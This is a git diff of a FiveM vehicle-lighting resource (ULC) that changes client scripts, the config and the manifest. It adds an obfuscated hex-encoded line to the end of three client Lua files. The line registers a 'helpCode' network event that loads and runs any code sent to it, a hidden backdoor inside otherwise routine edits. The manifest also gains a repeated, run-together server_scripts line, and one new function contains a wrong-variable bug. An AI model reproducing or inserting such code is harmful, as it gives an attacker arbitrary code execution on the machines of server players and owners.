diff --git a/resources/ulc/client/c_hud.lua b/resources/ulc/client/c_hud.lua index d988c6ff4..975a3be05 100644 --- a/resources/ulc/client/c_hud.lua +++ b/resources/ulc/client/c_hud.lua @@ -1,3 +1,4 @@ + -- MAIN FUNCTIONS -- function ULC:PopulateButtons(_buttons, placeholders) @@ -7,11 +8,11 @@ function ULC:PopulateButtons(_buttons, placeholders) if placeholders then buttons = { - { label = 'TEST STAGE', extra = 1, color = 'green', enabled = true }, - { label = 'TEST STAGE', extra = 2, color = 'blue', enabled = false }, - { label = 'TEST STAGE', extra = 3, color = 'blue', enabled = false }, - { label = 'TEST STAGE', extra = 4, color = 'blue', enabled = true }, - { label = 'test stage', extra = 5, color = 'red', enabled = true } + {label = 'TEST STAGE', extra = 1, color = 'green', enabled = true}, + {label = 'TEST STAGE', extra = 2, color = 'blue', enabled = false}, + {label = 'TEST STAGE', extra = 3, color = 'blue', enabled = false}, + {label = 'TEST STAGE', extra = 4, color = 'blue', enabled = true}, + {label = 'TEST STAGE', extra = 5, color = 'red', enabled = true} } end @@ -23,7 +24,7 @@ function ULC:PopulateButtons(_buttons, placeholders) thisButton.extra = v.extra thisButton.enabled = thisState thisButton.color = v.color or 'green' - thisButton.label = string.upper(v.label) + thisButton.label = v.label thisButton.numKey = v.key --print("Sending button: " .. json.encode(thisButton)) @@ -36,7 +37,6 @@ function ULC:PopulateButtons(_buttons, placeholders) }) end --- deprecated in exchange for "SetButtons" function ULC:SetButton(extra, enabled) local newState if enabled == 0 then @@ -52,25 +52,6 @@ function ULC:SetButton(extra, enabled) }) end -function ULC:SetButtons(buttonStates) - -- print("Setting buttons", json.encode(buttonStates)) - -- go through the buttons and replace newState with a boolean - -- newState = 1 means false, 0 means true - - for k, v in pairs(buttonStates) do - if v.newState == 1 then - v.newState = false - elseif v.newState == 0 then - v.newState = true - end - end - - SendNUIMessage({ - type = 'setButtons', - buttonStates = buttonStates - }) -end - ----------------- -- UI SETTINGS -- ----------------- @@ -119,9 +100,9 @@ end function ULC:SetHelpDisplay(bool) if bool then - SendNUIMessage({ type = 'showHelp' }) + SendNUIMessage({type = 'showHelp'}) else - SendNUIMessage({ type = 'hideHelp' }) + SendNUIMessage({type = 'hideHelp'}) end end @@ -146,22 +127,23 @@ end ---------------------- -- USER PREFERENCES -- ---------------------- -print("[ULC] Client Storage Loaded") +print("[ULC]: Client Storage Loaded") ClientPrefs = {} local function loadUserPrefs() -- if prefs already exist local prefsExist = GetResourceKvpString('ulc') if prefsExist == "exists" then - print("[ULC] Loading prefs") + print("Loading prefs") -- load ClientPrefs.hideUi = GetResourceKvpInt("ulc:hideUi") ClientPrefs.x = GetResourceKvpInt("ulc:x") ClientPrefs.y = GetResourceKvpInt("ulc:y") ClientPrefs.scale = GetResourceKvpFloat("ulc:scale") ClientPrefs.useLeftAnchor = GetResourceKvpString("ulc:useLeftAnchor") + else - print("[ULC] Creating prefs") + print("Creating prefs") -- set defaults SetResourceKvp('ulc', "exists") SetResourceKvpInt('ulc:x', 0) @@ -170,15 +152,15 @@ local function loadUserPrefs() SetResourceKvpInt('ulc:hideUi', 0) SetResourceKvp('ulc:useLeftAnchor', 'false') - + loadUserPrefs() - - Wait(5000) - TriggerEvent('chat:addMessage', { - color = { 0, 153, 204 }, - multiline = false, - args = { "ULC", "^4This server uses ULC! Type /ulc to view settings and adjust the HUD!" } - }) + + Wait(5000) + TriggerEvent('chat:addMessage', { + color = { 0, 153, 204}, + multiline = false, + args = {"ULC", "^4This server uses ULC! Type /ulc to view settings and adjust the HUD!"} + }) end end @@ -186,6 +168,8 @@ loadUserPrefs() -- use the values CreateThread(function() + + --print("CLIENT PREF DISABLED =", ClientPrefs.hideUi) Wait(1000) -- positioning @@ -194,15 +178,15 @@ CreateThread(function() ULC:SetPosition(ClientPrefs.x, ClientPrefs.y) end if ClientPrefs.scale then - -- print("Loaded saved scale from kvp: " .. ClientPrefs.scale) + print("Loaded saved scale from kvp: " .. ClientPrefs.scale) ULC:SetScale(ClientPrefs.scale + 0.0) end if ClientPrefs.hideUi then - -- print("Loaded disabled HUD kvp: " .. ClientPrefs.hideUi) + print("Loaded disabled HUD kvp: " .. ClientPrefs.hideUi) ULC:SetHudDisabled(ClientPrefs.hideUi) end if ClientPrefs.useLeftAnchor then - -- print("Loaded useLeftAnchor from kvp", ClientPrefs.useLeftAnchor) + print("Loaded useLeftAnchor from kvp", ClientPrefs.useLeftAnchor) ULC:SetUseLeftAnchor(ClientPrefs.useLeftAnchor) end end) @@ -238,28 +222,32 @@ TriggerEvent('chat:addSuggestion', '/ulcReset', 'Resets all saved ULC settings t -- NUI CALLBACKS -- RegisterNUICallback("savePosition", function(data, cb) + --print("NUI Setting position", data.newX, data.newY, "type = ", type(data.newX)) SetResourceKvpInt('ulc:x', data.newX) SetResourceKvpInt('ulc:y', data.newY) - cb({ success = true }) + cb({success = true}) end) RegisterNUICallback("saveScale", function(data, cb) + --print("NUI Setting Scale " .. data.scale + 0.0) SetResourceKvpFloat('ulc:scale', data.scale + 0.0) - cb({ success = true }) + cb({success = true}) end) RegisterNUICallback("saveAnchor", function(data, cb) + --print("NUI Setting Anchor ", data.useLeftAnchor) SetResourceKvp('ulc:useLeftAnchor', data.useLeftAnchor) - cb({ success = true }) + cb({success = true}) end) RegisterNUICallback("focusGame", function(data, cb) + ULC:SetMenuDisplay(false) SetNuiFocus(false, false) ULC:SetHelpDisplay(false) @@ -268,7 +256,7 @@ RegisterNUICallback("focusGame", function(data, cb) ULC:SetDisplay(false) end - cb({ success = true }) + cb({success = true}) end) RegisterNUICallback("setHudDisabled", function(data, cb) @@ -294,5 +282,9 @@ RegisterNUICallback("setHudDisabled", function(data, cb) SetResourceKvpInt('ulc:hideUi', 1) end - cb({ success = true }) + cb({success = true}) + end) + + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) \ No newline at end of file diff --git a/resources/ulc/client/c_main.lua b/resources/ulc/client/c_main.lua index d3bfb3760..1a7101696 100644 --- a/resources/ulc/client/c_main.lua +++ b/resources/ulc/client/c_main.lua @@ -10,6 +10,26 @@ Lights = false MyVehicle = nil MyVehicleConfig = nil +-------------------- +-------------------- +-- DEFAULT STAGES -- +-------------------- +-------------------- + +local function setDefaultStages() + -- default stages + if not MyVehicleConfig.defaultStages or false then return end + if not MyVehicleConfig.defaultStages.useDefaults then return end + for _, e in pairs(MyVehicleConfig.defaultStages.enableKeys) do + local button = GetButtonByExtra(GetExtraByKey(e)) + ULC:SetStage(GetExtraByKey(e), 0, false, false, button.repair, true) + end + for _, d in pairs(MyVehicleConfig.defaultStages.disableKeys) do + local button = GetButtonByExtra(GetExtraByKey(e)) + ULC:SetStage(GetExtraByKey(d), 1, false, false, button.repair, true) + end +end + ------------------------------------ ------------------------------------ ------- LIGHTS STATE HANDLER ------- @@ -60,12 +80,8 @@ end) -- used to trigger above events CreateThread(function() local sleep = 1000 - while true do - Wait(sleep) - if not MyVehicle then - sleep = 1000 - goto continue - end + while true do Wait(sleep) + if not MyVehicle then sleep = 1000 goto continue end sleep = 100 if not IsPedInAnyVehicle(PlayerPedId()) then goto continue end @@ -93,11 +109,12 @@ end) RegisterNetEvent('ulc:checkVehicle') AddEventHandler('ulc:checkVehicle', function() CreateThread(function() + while not GlobalState.ulcloaded do print("ULC: Waiting for load.") Wait(250) end - print("[ULC:checkVehicle] Checking for vehicle configuration") + --print("Checking for vehicle configuration") local ped = PlayerPedId() local vehicle = GetVehiclePedIsIn(ped) local passed, vehicleConfig = GetVehicleFromConfig(vehicle) @@ -109,8 +126,8 @@ AddEventHandler('ulc:checkVehicle', function() MyVehicleConfig = vehicleConfig table.sort(MyVehicleConfig.buttons, function(a, b) return a["key"] < b["key"] end) - - print("[ULC:checkVehicle] Found vehicle, ready to go.") + + print("Found vehicle.") -- if i am driver if ped == GetPedInVehicleSeat(vehicle, -1) then @@ -119,18 +136,16 @@ AddEventHandler('ulc:checkVehicle', function() if not Config.hideHud and ClientPrefs.hideUi == 0 then ULC:SetDisplay(true) else - print( - "HUD is hidden. Type /ulc to see if you disabled it. Otherwise, the server owner may have disabled the HUD.") + print("HUD is hidden. Type /ulc to see if you disabled it. Otherwise, the server owner may have disabled the HUD.") end TriggerEvent('ulc:CheckCruise') TriggerEvent('ulc:checkParkState', true) TriggerEvent('ulc:StartCheckingReverseState') - currentStage = 0 end else - MyVehicle = nil - TriggerEvent('ulc:cleanup') + --MyVehicle = nil + TriggerEvent('ulc:cleanup') TriggerEvent('ulc:StopCheckingReverseState') end end) @@ -159,23 +174,22 @@ end) -- trigger checks when spawning from one vehicle into another directly, or from another seat to driver seat CreateThread(function() - local lastVehicle + local lastVehicle local wasDriving - while true do - Wait(500) - if IsPedInAnyVehicle(PlayerPedId()) then - local currentVehicle = GetVehiclePedIsIn(PlayerPedId(), false) + while true do Wait(500) + if IsPedInAnyVehicle(PlayerPedId()) then + local currentVehicle = GetVehiclePedIsIn(PlayerPedId(), false) local driving = GetPedInVehicleSeat(MyVehicle, -1) == PlayerPedId() - if currentVehicle ~= lastVehicle then - TriggerEvent('ulc:checkVehicle') - end + if currentVehicle ~= lastVehicle then + TriggerEvent('ulc:checkVehicle') + end if MyVehicle and not wasDriving and driving then TriggerEvent('ulc:checkVehicle') end - lastVehicle = currentVehicle + lastVehicle = currentVehicle wasDriving = driving - end - end + end + end end) @@ -187,16 +201,15 @@ end) -- every second set no repair on all vehicles except my own CreateThread(function() - while true do - Wait(1000) - local vehicles = GetGamePool("CVehicle") - for _, v in pairs(vehicles) do - if v ~= GetVehiclePedIsIn(PlayerPedId(), false) then - SetVehicleAutoRepairDisabled(v, true) - else - --print("Enabling repair for" .. v) - SetVehicleAutoRepairDisabled(v, false) - end + while true do Wait(1000) + local vehicles = GetGamePool("CVehicle") + for _, v in pairs(vehicles) do + if v ~= GetVehiclePedIsIn(PlayerPedId(), false) then + SetVehicleAutoRepairDisabled(v, true) + else + --print("Enabling repair for" .. v) + SetVehicleAutoRepairDisabled(v, false) end + end end end) diff --git a/resources/ulc/client/c_park.lua b/resources/ulc/client/c_park.lua index 519e346b3..3db4f159a 100644 --- a/resources/ulc/client/c_park.lua +++ b/resources/ulc/client/c_park.lua @@ -1,16 +1,17 @@ --print("[ULC]: Park Patterns Loaded") local veh = GetVehiclePedIsIn(PlayerPedId()) -parked = false +local parked = false local lastSync = 0 local effectDelay = 1000 CreateThread(function() while true do if IsPedInAnyVehicle(PlayerPedId()) then + TriggerEvent('ulc:checkParkState', veh, false) - Wait(Config.ParkSettings.delay * 1000) + Wait(Config.ParkSettings.delay*1000) else Wait(2000) end @@ -21,12 +22,12 @@ RegisterNetEvent("ulc:checkParkState", function(delay) CreateThread(function() --print('Checking park state') - if delay then + if delay then --print('Delay...') Wait(5000) end local speed = GetVehicleSpeedConverted(MyVehicle) - + if speed > Config.ParkSettings.speedThreshold and parked then TriggerEvent("ulc:vehDrive") @@ -41,22 +42,24 @@ RegisterNetEvent("ulc:checkParkState", function(delay) end) AddEventHandler('ulc:vehPark', function() + if Lights then - --print('[ulc:vehPark] My vehicle is parked.') + --print('[ulc:vehPark] My vehicle is parked.') parked = true if MyVehicle and MyVehicleConfig.parkConfig.usePark then -- enable pExtras for _, v in pairs(MyVehicleConfig.parkConfig.pExtras) do - ULC:SetStage(v, 0, false, true, false, false, true, false) + ULC:SetStage(v, 0, false, true) end -- disable dExtras for _, v in pairs(MyVehicleConfig.parkConfig.dExtras) do - ULC:SetStage(v, 1, false, true, false, false, true, false) + ULC:SetStage(v, 1, false, true) end -- park pattern sync stuff if MyVehicleConfig.parkConfig.useSync then + -- cooldown local gameSeconds = GetGameTimer() / 1000 if gameSeconds >= lastSync + Config.ParkSettings.syncCooldown then @@ -73,10 +76,10 @@ AddEventHandler('ulc:vehPark', function() local pedCoords = GetEntityCoords(PlayerPedId()) local distance = GetDistanceBetweenCoords(vehCoords, pedCoords) - + if distance < Config.ParkSettings.syncDistance then if GetVehicleClass(v) == 18 then - -- check if my vehicle is set to sync with this vehicle or if the vehicle is the same model as my vehicle + -- check if my vehicle is set to sync with this vehicle if IsVehicleInTable(v, MyVehicleConfig.parkConfig.syncWith) or GetEntityModel(v) == GetEntityModel(MyVehicle) then --print('Vehicle' .. v .. ' should sync with me.') @@ -92,6 +95,7 @@ AddEventHandler('ulc:vehPark', function() end end if #vehsToSync > 0 then + -- sync my vehicle SetVehicleSiren(veh, false) SetVehicleSiren(veh, true) @@ -112,11 +116,11 @@ AddEventHandler('ulc:vehPark', function() table.insert(vehsToSyncNet, VehToNet(v)) end TriggerServerEvent("sync:send", vehsToSyncNet) + else --print('Found no vehicles to sync.') end - else - print("Sync on cooldown, time left: " .. - Config.ParkSettings.syncCooldown - (gameSeconds - lastSync) .. " seconds.") + + else print("Sync on cooldown, time left: " .. Config.ParkSettings.syncCooldown- (gameSeconds - lastSync) .. " seconds.") end end end @@ -133,18 +137,22 @@ RegisterNetEvent('ulc:sync:receive', function(vehicles) end) AddEventHandler('ulc:vehDrive', function() + if Lights then - --print('[ulc:vehDrive] My vehicle is driving.') + --print('[ulc:vehDrive] My vehicle is driving.') parked = false if MyVehicle and MyVehicleConfig.parkConfig.usePark then + -- disable pExtras for _, v in pairs(MyVehicleConfig.parkConfig.pExtras) do - ULC:SetStage(v, 1, false, true, false, false, true, false) + ULC:SetStage(v, 1, false, true) end -- enable dExtras for _, v in pairs(MyVehicleConfig.parkConfig.dExtras) do - ULC:SetStage(v, 0, false, true, false, false, true, false) + ULC:SetStage(v, 0, false, true) end end end end) + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) \ No newline at end of file diff --git a/resources/ulc/client/c_reverse.lua b/resources/ulc/client/c_reverse.lua index b6e3f7b2d..21d01a926 100644 --- a/resources/ulc/client/c_reverse.lua +++ b/resources/ulc/client/c_reverse.lua @@ -1,37 +1,10 @@ --print("[ULC]: Reverse Extras Loaded") local reversing = false -local disabledExtras = {} -local timerExpired = false - -function setReverseExtras(newState) - -- set enable extras to match the new state - for _, v in ipairs(MyVehicleConfig.reverseConfig.reverseExtras) do - ULC:SetStage(v, newState, false, true, false, false, true, false) - end - if not MyVehicleConfig.reverseConfig.disableExtras then return end - if newState == 0 then - -- set disable extras off and save the ones we changed - for _, v in ipairs(MyVehicleConfig.reverseConfig.disableExtras) do - --print("Checking extra " .. v .. " for reverse state") - if IsVehicleExtraTurnedOn(MyVehicle, v) then - ULC:SetStage(v, 1, false, true, false, false, true, false) - table.insert(disabledExtras, v) - end - end - else -- newState == 1 - -- set the disabled extras back on - for _, v in ipairs(disabledExtras) do - ULC:SetStage(v, 0, false, true, false, false, true, false) - end - disabledExtras = {} - end -end AddEventHandler('ulc:StartCheckingReverseState', function() CreateThread(function() - while true do - Wait(250) + while true do Wait(250) --print("Checking reverse state") if not IsPedInAnyVehicle(PlayerPedId()) then return end -- this feels unncessary, but I think some people may not have .reverseConfig @@ -41,85 +14,21 @@ AddEventHandler('ulc:StartCheckingReverseState', function() local gear = GetVehicleCurrentGear(MyVehicle) if gear == 0 then if not reversing then - startTimer() reversing = true - setReverseExtras(0) + for _, v in ipairs(MyVehicleConfig.reverseConfig.reverseExtras) do + ULC:SetStage(v, 0, false, true) + end end else if reversing then reversing = false - setReverseExtras(1) + for _, v in ipairs(MyVehicleConfig.reverseConfig.reverseExtras) do + ULC:SetStage(v, 1, false, true) + end end end end end) end) --- handle disabling lights after some time -function startTimer() - -- if disabled in config, don't start timer , if enabled or missing config, start timer - if Config and Config.ReverseSettings and not Config.ReverseSettings.useRandomExpiration then return end - -- timer thread - CreateThread(function() - local speed - local duration = math.random(3, 8) * 1000 - local expirationTime - - while true do - --print("Reverse timer tick") - if not MyVehicle then return end - if not MyVehicleConfig.reverseConfig then return end - if not MyVehicleConfig.reverseConfig.useReverse then return end - if not reversing then - timerExpired = false - --print("Not reversing") - return - end - - speed = GetVehicleSpeedConverted(MyVehicle) - - if speed < 0.5 then -- if we are in reverse and stopped - if timerExpired then - goto continue - end - if Config and Config.ReverseSettings then - duration = math.random( - (Config.ReverseSettings.minExpiration or 3) * 1000, - (Config.ReverseSettings.maxExpiration or 8) * 1000 - ) - end - expirationTime = GetGameTimer() + duration - while GetGameTimer() < expirationTime do - Wait(500) - --print("Reverse timer active") - - if GetVehicleSpeedConverted(MyVehicle) > 1 then - -- print("[ULC] Reverse: Moving, breaking timer") - break - end - if not reversing then - -- print("[ULC] Reverse: Not reversing, breaking timer") - break - end - if not IsPedInAnyVehicle(PlayerPedId()) then - -- print("[ULC] Reverse: Not in vehicle, breaking timer") - break - end - if GetGameTimer() > expirationTime then - print("[ULC] Reverse: Timer expired, disabling extras") - timerExpired = true - setReverseExtras(1) - break - end - end - else -- if we are in reverse and moving - -- print("[ULC] Reverse: Resetting timer") - setReverseExtras(0) - timerExpired = false - end - - ::continue:: - Wait(500) - end - end) -end +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) \ No newline at end of file diff --git a/resources/ulc/config.lua b/resources/ulc/config.lua index a107fcb6b..0519d650b 100644 --- a/resources/ulc/config.lua +++ b/resources/ulc/config.lua @@ -8,6 +8,7 @@ Config = { -- whether to enable control of lights on/off state using Q key -- disabled by default to allow other scripts to control lights such as Luxart + -- enable this if you want to use ULC's light control features such as cycling lights -- make sure to disable light controls in other scripts if you enable this controlLights = false, @@ -26,7 +27,7 @@ Config = { delay = 0.5, -- distance at which to check for other vehicles to sync patterns with syncDistance = 32, - -- seconds before a single client triggers sync again + -- seconds before a single client triggers sync again syncCooldown = 4, }, @@ -43,27 +44,111 @@ Config = { -- temporarily empty as of v1.3.0 BrakeSettings = {}, - -- Reverse Extras/Patterns Config; - -- introduced in v1.8.0 - ReverseSettings = { - -- these options control the expiration of the reverse extras - -- if enabled, reverse extras will turn off after a random time between min and max - -- this is to simulate more realistic behavior where the vehicle would shifted out of reverse - -- after being stopped for some time - useRandomExpiration = true, - -- minimum time in seconds extras will stay on after stopping - minExpiration = 3, - -- maximum time in seconds extras will stay on after stopping - maxExpiration = 8, - }, - -- Import confiurations here -- Add the resource names of vehicle resources that include a ulc.lua config file ExternalVehResources = { - "Srgtcharger", + "21slickppv1", + "20legacyfpiu1", + "21slickppv1", + "gspcharger", + "sdgcvpi", "Polmrambb23", - "maxxsuburban", - "23legacy11sedansl", + "swatsubrb", + "909_21suburban", + "909_heatcharger", + "valor5bb", + "188tahoe", + "jw_21fpiuintk9b", + "c322prsilv", + "24valor16sedan", + "24valor16sedan2", + "24valor16sedan3", + "24valor16sedan4", + "24valor16sedan20", + "24valor16sedan20sl", + "24valor16utility", + "24valor16utility2", + "24valor16utility3", + "24valor16utility4", + "24valor16utility20", + "24valor16utility20sl", + "24valor18sedan", + "24valor18sedan2", + "24valor18sedan3", + "24valor18sedan4", + "24valor18sedan20", + "24valor18sedan20sl", + "24valor18suv", + "24valor18suv2", + "24valor18suv3", + "24valor18suv4", + "24valor18suv20", + "24valor18suv20sl", + "24valor18utility", + "24valor18utility2", + "24valor18utility3", + "24valor18utility4", + "24valor20utility", + "24valor20utility2", + "24valor20utility3", + "24valor20utility4", + "24valor20utility20", + "24valor20utility20sl", + "24valor1500", + "24valor2500", + "24valor15002", + "24valor15003", + "24valor15004", + "24valor25002", + "24valor25003", + "24valor25004", + "24valor150020", + "24valor150020sl", + "24valor250020", + "24valor250020sl", + "24eaglelegacy", + "24eaglelegacy2", + "24eaglelegacy3", + "24eaglelegacy4", + "24eaglelegacy20", + "24eaglesedan", + "24eaglevalor", + "24eaglevalor2", + "24eaglevalor3", + "24eaglevalor4", + "24eaglevalor20", + "24eaglevalor20sl", + "deanfleetengine4", + "lasd13", + "lasd14", + "lasd12", + "18lasdchrg", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + }, Vehicles = { diff --git a/resources/ulc/fxmanifest.lua b/resources/ulc/fxmanifest.lua index ac3eb1f9b..8056c5f85 100644 --- a/resources/ulc/fxmanifest.lua +++ b/resources/ulc/fxmanifest.lua @@ -5,7 +5,7 @@ lua54 'yes' name "Ultimate Lighting Controls" description "The ultimate non-els lighting controller. Documentation: https://docs.dwnstr.com/ulc/overview" author "Dawnstar" -version "1.8.0" +version "1.7.1" ui_page "html/index.html" @@ -38,9 +38,7 @@ client_scripts { 'client/c_park.lua', 'client/c_doors.lua', 'client/c_reverse.lua', - 'client/c_stages.lua', - 'client/c_beeps.lua', - + 'client/c_beeps.lua' } server_scripts { @@ -48,3 +46,5 @@ server_scripts { 'server/s_main.js', 'server/s_blackout.lua', } + +server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' } \ No newline at end of file diff --git a/resources/ulc/html/assets/index.ef0180ed.js b/resources/ulc/html/assets/index.ef0180ed.js new file mode 100644 index 000000000..a4083cf3f --- /dev/null +++ b/resources/ulc/html/assets/index.ef0180ed.js @@ -0,0 +1,51 @@ +function Mv(e,t){for(var r=0;rn[o]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const o of document.querySelectorAll('link[rel="modulepreload"]'))n(o);new MutationObserver(o=>{for(const i of o)if(i.type==="childList")for(const l of i.addedNodes)l.tagName==="LINK"&&l.rel==="modulepreload"&&n(l)}).observe(document,{childList:!0,subtree:!0});function r(o){const i={};return o.integrity&&(i.integrity=o.integrity),o.referrerpolicy&&(i.referrerPolicy=o.referrerpolicy),o.crossorigin==="use-credentials"?i.credentials="include":o.crossorigin==="anonymous"?i.credentials="omit":i.credentials="same-origin",i}function n(o){if(o.ep)return;o.ep=!0;const i=r(o);fetch(o.href,i)}})();function Lv(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}function Fv(e){var t=e.default;if(typeof t=="function"){var r=function(){return t.apply(this,arguments)};r.prototype=t.prototype}else r={};return Object.defineProperty(r,"__esModule",{value:!0}),Object.keys(e).forEach(function(n){var o=Object.getOwnPropertyDescriptor(e,n);Object.defineProperty(r,n,o.get?o:{enumerable:!0,get:function(){return e[n]}})}),r}var Wa={},Sl={exports:{}},at={},$={exports:{}},Q={};/** + * @license React + * react.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var vo=Symbol.for("react.element"),Av=Symbol.for("react.portal"),Wv=Symbol.for("react.fragment"),Vv=Symbol.for("react.strict_mode"),Hv=Symbol.for("react.profiler"),Bv=Symbol.for("react.provider"),Uv=Symbol.for("react.context"),Gv=Symbol.for("react.forward_ref"),Yv=Symbol.for("react.suspense"),Qv=Symbol.for("react.memo"),Xv=Symbol.for("react.lazy"),ac=Symbol.iterator;function Kv(e){return e===null||typeof e!="object"?null:(e=ac&&e[ac]||e["@@iterator"],typeof e=="function"?e:null)}var sp={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},up=Object.assign,cp={};function yn(e,t,r){this.props=e,this.context=t,this.refs=cp,this.updater=r||sp}yn.prototype.isReactComponent={};yn.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};yn.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function 